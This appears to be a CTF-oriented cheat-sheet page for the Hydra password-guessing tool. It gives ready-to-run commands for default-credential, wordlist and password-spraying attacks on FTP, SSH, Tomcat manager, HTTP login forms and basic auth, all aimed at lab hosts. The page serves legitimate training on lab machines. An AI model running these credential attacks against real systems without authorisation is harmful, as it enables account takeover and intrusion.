Hydra
Hydra tries username and password combinations against a live service. In CTFs it is mostly used for default credentials and short lists: all of rockyou against SSH would take days.
- Platform
- Linux
- Official site
- github.com/vanhauser-thc/thc-hydra
- On HTB
- 4 machines
Install
sudo apt install hydra- T1078.001 Default Accounts
- T1110.003 Password Spraying
- Default credentials
- Password spraying and valid users
Hydra cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
More protocols
Default credentials (user:password in one file)
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
Tomcat manager
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
Users and passwords from lists
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f-f stops at the first valid pair.
In our cheatsheets
Web enumeration › Common findings
HTTP form with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'The text after F= is something that only appears when the login fails.
Basic auth
hydra -L users.txt -P passwords.txt box.htb http-get /admin
SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4No command matches.
HTB machines where Hydra is used
Taken from the chapters of IppSec videos where Hydra shows up. The ▶ link jumps to the minute of that part.